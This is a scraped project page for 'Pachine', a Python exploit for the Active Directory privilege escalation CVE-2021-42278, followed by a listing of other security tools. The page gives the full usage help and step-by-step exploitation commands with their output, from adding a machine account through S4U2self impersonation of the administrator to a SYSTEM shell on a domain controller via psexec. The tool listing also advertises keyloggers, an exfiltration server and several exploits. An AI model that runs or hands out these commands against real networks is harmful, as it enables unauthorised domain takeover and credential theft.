Python implementation for CVE-2021-42278 (Active Directory Privilege Escalation)

Overview

Pachine

Python implementation for CVE-2021-42278 (Active Directory Privilege Escalation).

Installtion

$ pip3 install impacket

Usage

Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
                  [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
                  [domain/]username[:password]

Pachine - CVE-2021-42278 Scanner & Exploit

positional arguments:
  [domain/]username[:password]
                        Account used to authenticate to DC.

optional arguments:
  -h, --help            show this help message and exit
  -scan                 Scan the DC
  -spn SPN              SPN (service/server) of the target service the service ticket will be generated for
  -impersonate IMPERSONATE
                        target username that will be impersonated (through S4U2Self) for quering the ST. Keep in mind this will only work if the identity provided in this scripts is allowed for delegation to the SPN specified
  -domain-netbios NETBIOSNAME
                        Domain NetBIOS name. Required if the DC has multiple domains.
  -computer-name NEW-COMPUTER-NAME$
                        Name of new computer. If omitted, a random DESKTOP-[A-Z0-9]{8} will be used.
  -computer-pass password
                        Password to set to computer. If omitted, a random [A-Za-z0-9]{32} will be used.
  -debug                Turn DEBUG output ON
  -method {SAMR,LDAPS}  Method of adding the computer. SAMR works over SMB. LDAPS has some certificate requirements and isn't always available.
  -port {139,445,636}   Destination port to connect to. SAMR defaults to 445, LDAPS to 636.

LDAP:
  -baseDN DC=test,DC=local
                        Set baseDN for LDAP. If ommited, the domain part (FQDN) specified in the account parameter will be used.
  -computer-group CN=Computers,DC=test,DC=local
                        Group to which the account will be added. If omitted, CN=Computers will be used,

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on account parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -dc-host hostname     FQDN of the domain controller to target.
  -dc-ip ip             IP of the domain controller to use. Useful if you can't translate the FQDN.specified in the account parameter will be used
                                                                                                                                                                                                                                                              

Demonstration

Examples

Scanning

To scan a domain controller, use the -scan option. Supply the hostname of the DC with the -dc-host option. If you cannot resolve the hostname, you can also supply the IP of the DC with -dc-ip. At least -dc-host must be supplied.

$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Domain controller dc.predator.local is most likely vulnerable

Exploitation

$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Added machine account dc with password qwx1TwIGRNcwsBptfDfyw9wubnVBSVij.
[*] Got TGT for [email protected]
[*] Changed machine account name from dc to DESKTOP-XS5FCF1Y$
[*] Requesting S4U2self
[*] Got TGS for [email protected] for [email protected]
[*] Changing sname from [email protected] to cifs/[email protected]
[*] Changed machine account name from DESKTOP-XS5FCF1Y$ to dc
[*] Saving ticket in [email protected]
Using the TGS
$ # Set and verify the CCACHE
$ export KRB5CCNAME=$PWD/[email protected]
$ klist
Ticket cache: FILE:/opt/Pachine/[email protected]
Default principal: [email protected]

Valid starting       Expires              Service principal
12/13/2021 23:45:19  12/14/2021 09:45:19  cifs/[email protected]
	renew until 12/14/2021 23:45:19
$ # Use Impacket's Psexec. This will work for 'cifs'
$ impacket-psexec -k -no-pass 'predator.local/[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Requesting shares on dc.predator.local.....
[*] Found writable share ADMIN$
[*] Uploading file GPZNUSse.exe
[*] Opening SVCManager on dc.predator.local.....
[*] Creating service FBle on dc.predator.local.....
[*] Starting service FBle.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.288]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

Details

Pachine (PAC + Machine) is a Python exploit implementation for CVE-2021-42278. I highly recommend reading Charlie Clark's (@exploitph) great blog post for technical details on CVE-2021-42278.

Authors

Credits

References

Owner
Oliver Lyak
Security Researcher
Oliver Lyak
Bandit is a tool designed to find common security issues in Python code.

A security linter from PyCQA Free software: Apache license Documentation: https://bandit.readthedocs.io/en/latest/ Source: https://github.com/PyCQA/ba

Python Code Quality Authority 4.8k Dec 31, 2022
Discord-keylogger - Discord keylogger With Python

Discord-keylogger Usage python dlogger.py -t [Time interval in sec] if not speci

Satwik Sinha 1 Jan 30, 2022
Mr.Holmes is a information gathering tool (OSINT)

🔍 Mr.Holmes Mr.Holmes is a information gathering tool (OSINT). Is main purpose is to gain information about domains,username and phone numbers with t

534 Jan 08, 2023
simple python keylogger

HELLogger simple python keylogger DISCLAIMERS: DON'T DO BAD THINGS. THIS PROGRAM IS MEANT FOR PERSONAL USES ONLY. USE IT ONLY IN COMPUTERS WHERE YOU H

Arya 10 Nov 10, 2022
Mass scan for .git repository and .env file exposure

Mass .Git repository and .Env file Scan by Scarmandef Scanner to find .env file and .git repository exposure on multiple hosts Because of the response

8 Jun 23, 2022
Looks at Python code to search for things which look "dodgy" such as passwords or diffs

dodgy Dodgy is a very basic tool to run against your codebase to search for "dodgy" looking values. It is a series of simple regular expressions desig

Landscape 112 Nov 25, 2022
Phoenix Framework is an environment for writing, testing and using exploit code.

Phoenix Framework is an environment for writing, testing and using exploit code. 🖼 Screenshots 🎪 Community PwnWiki Forums 🔑 Licen

42 Aug 09, 2022
Log4j2 intranet scan

Log4j2-intranet-scan ⚠️ 免责声明 本项目仅面向合法授权的企业安全建设行为,在使用本项目进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权 如您在使用本项目的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任 在使用本项目前,请您务

k3rwin 16 Dec 19, 2022
xray多线程批量扫描工具

Auto_xray xray多线程批量扫描工具 简介 xray社区版貌似没有批量扫描,这就让安服仔使用起来很不方便,扫站得一个个手动添加,非常难受 Auto_xray目录下记得放xray,就跟平时一样的。 选项1:oneforall+xray 输入一个主域名,自动采集子域名然后添加到xray任务列表

1frame 13 Nov 09, 2022
RedDrop is a quick and easy web server for capturing and processing encoded and encrypted payloads and tar archives.

RedDrop Exfil Server Check out the accompanying MaverisLabs Blog Post Here! RedDrop Exfil Server is a Python Flask Web Server for Penetration Testers,

53 Nov 01, 2022
An IDA pro python script to decrypt Qbot malware string

Qbot-Strings-Decrypter An IDA pro python script to decrypt Qbot malware strings.

stuckinvim 6 Sep 01, 2022
A scanner and a proof of sample exploit for log4j RCE CVE-2021-44228

1.Create a Sample Vulnerable Application . 2.Start a netcat listner . 3.Run the exploit . 5.Use jdk1.8.0_20 for better results . Exploit-db - https://

Isuru Umayanga 7 Aug 06, 2022
The disassembler parses evm bytecode from the command line or from a file.

EVM Bytecode Disassembler The disassembler parses evm bytecode from the command line or from a file. It does not matter whether the bytecode is prefix

alpharush 22 Dec 27, 2022
CamOver is a camera exploitation tool that allows to disclosure network camera admin password.

CamOver is a camera exploitation tool that allows to disclosure network camera admin password. Features Exploits vulnerabilities in most popul

EntySec 247 Jan 02, 2023
Cobalt Strike Beacon configuration extractor and parser.

Cobalt Strike Configuration Extractor and Parser Overview Pure Python library and set of scripts to extract and parse configurations (configs) from Co

Stroz Friedberg 102 Dec 18, 2022
Details,PoC and patches for CVE-2021-45383 & CVE-2021-45384

CVE-2021-45383 & CVE-2021-45384 There are several network-layer vulnerabilities in the official server of Minecraft: Bedrock Edition (aka Bedrock Serv

20 Apr 07, 2022
SSLyze is a fast and powerful SSL/TLS scanning tool and Python library.

SSLyze SSLyze is a fast and powerful SSL/TLS scanning tool and Python library. SSLyze can analyze the SSL/TLS configuration of a server by connecting

Alban Diquet 2.8k Jan 03, 2023
Lazarus analysis tools and research report

Lazarus Research This repository publishes analysis reports and analysis tools for Operation Dream Job and Operation JTrack for Lazarus. Tools Python

JPCERT Coordination Center 50 Sep 13, 2022
LaxrFar Python Obfuscator

LaxrFar Python Obfuscator Usage First do the things from "Upload to Webserver" o

LaxrFar 5 Jul 19, 2022
FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

FBGen is simple facebook user based wordlist generator using Username/ID and cookie.

2 Jul 20, 2022